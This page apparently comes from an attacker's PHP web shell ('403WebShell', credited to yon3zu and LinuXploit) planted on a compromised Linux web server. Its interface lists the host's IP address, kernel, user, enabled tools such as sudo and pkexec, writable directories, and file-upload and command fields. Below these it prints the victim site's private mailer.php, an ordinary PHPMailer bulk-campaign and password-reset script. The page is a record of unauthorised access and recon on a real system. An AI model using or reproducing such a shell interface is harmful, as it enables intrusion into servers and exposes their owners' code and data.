Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/vhost/itms.arukustech.com/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhost/itms.arukustech.com/app/mailer.php
<?php
require_once __DIR__ . '/db.php';
require_once __DIR__ . '/../vendor/autoload.php';

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

/**
 * CSV log per campaign
 */
function log_csv($campaign_id, $email, $status, $reason=''){
    $dir = __DIR__ . '/../logs';
    if (!is_dir($dir)) @mkdir($dir, 0775, true);

    $file = $dir . '/campaign_' . $campaign_id . '.csv';
    $isNew = !file_exists($file);
    $fh = fopen($file, 'a');
    if ($isNew) {
        fputcsv($fh, ['date_time','email','status','reason']);
    }
    fputcsv($fh, [date('Y-m-d H:i:s'), $email, $status, $reason]);
    fclose($fh);
}

/**
 * DB log per recipient
 */
function log_db($campaign_id, $email, $status, $reason=''){
     $pdo = db();
     $check = $pdo->prepare('SELECT id FROM campaign_logs WHERE campaign_id=? AND email=?');
     $check->execute([$campaign_id, $email]);
     if($check->fetch()){ return true; } else{
    $st = $pdo->prepare('INSERT INTO campaign_logs (campaign_id,email,status,error,logged_at) VALUES (?,?,?,?,NOW())');
    $st->execute([$campaign_id, $email, $status, $reason ?: null]);
     }
}

/**
 * Mark sent
 */
function mark_sent($cr_id) {
    $pdo = db();
    $stmt = $pdo->prepare("UPDATE campaign_recipients SET status='sent', sent_at=NOW(), last_error=NULL WHERE id=?");
    $stmt->execute([$cr_id]);
}

/**
 * Mark failed
 */
function mark_failed($cr_id, $err) {
    $pdo = db();
    $stmt = $pdo->prepare("UPDATE campaign_recipients SET status='failed', last_error=? WHERE id=?");
    $stmt->execute([mb_substr($err,0,1000), $cr_id]);
}

/**
 * Replace public image URLs with CID and embed those images.
 * - Scans for <img src="/uploads/campaign_{id}/images/...">
 * - Adds each file with AddEmbeddedImage
 * - Replaces src with cid:imgN
 * Returns array: [patchedHtml, [cidMap]]
 */
function embed_campaign_images_with_cid(PHPMailer $mail, array $campaign, string $html): array {
    $id = (int)$campaign['id'];

    // Accept both absolute and relative URLs that point into campaign images dir
    // Examples:
    //   /uploads/campaign_5/images/logo.png
    //   ../uploads/campaign_5/images/logo.png
    //   https://your.host/uploads/campaign_5/images/logo.png
    $pattern = '#(?P<full><img\s[^>]*?src=["\'](?P<src>[^"\']*/uploads/campaign_' . $id . '/images/[^"\']+)["\'][^>]*>)#i';

    $matches = [];
    if (!preg_match_all($pattern, $html, $matches, PREG_SET_ORDER)) {
        // nothing to embed
        return [$html, []];
    }

    $cidMap = [];      // url => cid
    $used   = [];      // to avoid duplicate embedded images
    $index  = 1;

    foreach ($matches as $m) {
        $src = html_entity_decode($m['src'], ENT_QUOTES);

        if (isset($cidMap[$src])) {
            // already processed
            continue;
        }

        // Compute local filesystem path for this URL
        // Normalize to path relative to project root
        $urlPath = parse_url($src, PHP_URL_PATH);
        if (!$urlPath) $urlPath = $src;

        $local = realpath(__DIR__ . '/..' . $urlPath); // projectRoot + /uploads/campaign_X/images/...
        if (!$local || !is_file($local)) {
            // Try without realpath fallback (in case of symlinks)
            $fallback = __DIR__ . '/..' . $urlPath;
            if (!is_file($fallback)) {
                // Can't find fileskip CID for this image
                continue;
            }
            $local = $fallback;
        }

        // Avoid embedding same physical file twice
        if (isset($used[$local])) {
            $cid = $used[$local];
            $cidMap[$src] = $cid;
            continue;
        }

        $cid = 'img' . $index++;
        $filename = basename($local);

        try {
            $mail->AddEmbeddedImage($local, $cid, $filename);
            $cidMap[$src] = $cid;
            $used[$local] = $cid;
        } catch (\Throwable $e) {
            // If embedding fails, just skip CID for this image (will fall back to public URL)
            continue;
        }
    }

    if (!$cidMap) return [$html, []];

    // Replace all occurrences of URLs in HTML with cid:...
    $patched = $html;
    foreach ($cidMap as $url => $cid) {
        // Replace only inside src=""
        $patched = preg_replace(
            '#(<img\b[^>]*\bsrc=["\'])' . preg_quote($url, '#') . '(["\'][^>]*>)#i',
            '$1cid:' . $cid . '$2',
            $patched
        );
        // Optionally keep original URL for future reference (not rendered by clients)
        // e.g., add data-fallback="https://..." (clients ignore but you keep reference)
        $patched = preg_replace(
            '#(<img\b[^>]*\bsrc=["\']cid:' . preg_quote($cid, '#') . '["\'])#i',
            '$1 data-fallback="' . htmlspecialchars($url, ENT_QUOTES) . '"',
            $patched
        );
    }

    return [$patched, $cidMap];
}

/**
 * Send a batch
 */
function send_batch($campaign, $rows) {
    $mail = new PHPMailer(true);
    $mail->isSMTP();
    $mail->Host        = envv('SMTP_HOST');
    $mail->SMTPAuth    = true;
    $mail->Username    = envv('SMTP_USER');
    $mail->Password    = envv('SMTP_PASS');
    $mail->SMTPSecure  = envv('SMTP_SECURE','tls');
    $mail->Port        = (int)envv('SMTP_PORT',587);
    $mail->SMTPAutoTLS = false;
    $mail->isHTML(true);

    $fromEmail = $campaign['from_email'] ?: envv('MAIL_FROM_ADDRESS');
    $fromName  = $campaign['from_name']  ?: envv('MAIL_FROM_NAME');
    $replyTo   = $campaign['reply_to_email'] ?: envv('MAIL_REPLY_TO');

    $mail->setFrom($fromEmail, $fromName);
    if (!empty($replyTo)) {
        $mail->addReplyTo($replyTo, $fromName);
    }

    // Preload attachments (PDF, etc.)
    $attachDir = __DIR__ . '/../uploads/campaign_' . $campaign['id'] . '/attachments';
    $attachFiles = [];
    if (is_dir($attachDir)) {
        foreach (scandir($attachDir) as $f) {
            if ($f === '.' || $f === '..') continue;
            $path = $attachDir . '/' . $f;
            if (is_file($path)) $attachFiles[] = $path;
        }
    }

    // Prepare HTML with CID-embedded images once (same body for all recipients)
    // Its okay to compute this once per batch as body is same for all.
    list($bodyWithCid, $cidMap) = embed_campaign_images_with_cid($mail, $campaign, $campaign['html']);
    $altBody = strip_tags($bodyWithCid);

    foreach ($rows as $r) {
        try {
            // Clean per message
            $mail->clearAllRecipients();
            $mail->clearCustomHeaders();
            $mail->clearAttachments();

            // Re-add embedded images each time (PHPMailer clears them with clearAttachments())
            if ($cidMap) {
                // Re-embed because clearAttachments() clears embedded as well.
                foreach ($cidMap as $url => $cid) {
                    $urlPath = parse_url($url, PHP_URL_PATH) ?: $url;
                    $local = realpath(__DIR__ . '/..' . $urlPath);
                    if (!$local || !is_file($local)) {
                        $fallback = __DIR__ . '/..' . $urlPath;
                        if (!is_file($fallback)) continue;
                        $local = $fallback;
                    }
                    $mail->AddEmbeddedImage($local, $cid, basename($local));
                }
            }

            // Add recipient + content
            $mail->addAddress($r['email']);
            $mail->Subject = $campaign['subject'];
            $mail->Body    = $bodyWithCid;
            $mail->AltBody = $altBody;

            // SES headers
            $cfgset = envv('SES_CONFIG_SET','');
            if (!empty($cfgset)) {
                $mail->addCustomHeader('X-SES-CONFIGURATION-SET', $cfgset);
            }
            $mail->addCustomHeader('X-SES-MESSAGE-TAGS', 'campaign_id='.$campaign['id']);

            // Attach PDFs, etc.
            foreach ($attachFiles as $filePath) {
                $mail->addAttachment($filePath, basename($filePath));
            }

            // Send
            $mail->send();

            mark_sent($r['cr_id']);
            log_db($campaign['id'], $r['email'], 'sent', '');
            log_csv($campaign['id'], $r['email'], 'SENT', '');

        } catch (Exception $e) {
            $err = trim($mail->ErrorInfo ?: $e->getMessage());
            mark_failed($r['cr_id'], $err);
            log_db($campaign['id'], $r['email'], 'failed', $err);
            log_csv($campaign['id'], $r['email'], 'FAILED', $err);
            continue;
        }
    }
}
/**
 * SIMPLE MAIL FUNCTION
 * Used by Forgot Password / Inventory / System emails
 */
function sendMail($to, $subject, $htmlBody)
{
    try {
        $mail = new PHPMailer(true);

        $mail->isSMTP();
        $mail->Host       = envv('SMTP_HOST');
        $mail->SMTPAuth   = true;
        $mail->Username   = envv('SMTP_USER');
        $mail->Password   = envv('SMTP_PASS');
        $mail->SMTPSecure = envv('SMTP_SECURE', 'tls');
        $mail->Port       = (int)envv('SMTP_PORT', 587);

        $mail->setFrom(
            envv('MAIL_FROM_ADDRESS'),
            envv('MAIL_FROM_NAME')
        );

        $mail->addAddress($to);
        $mail->isHTML(true);
        $mail->Subject = $subject;
        $mail->Body    = $htmlBody;
        $mail->AltBody = strip_tags($htmlBody);

        $mail->send();
        return true;

    } catch (Exception $e) {
        error_log('sendMail error: ' . $e->getMessage());
        return false;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit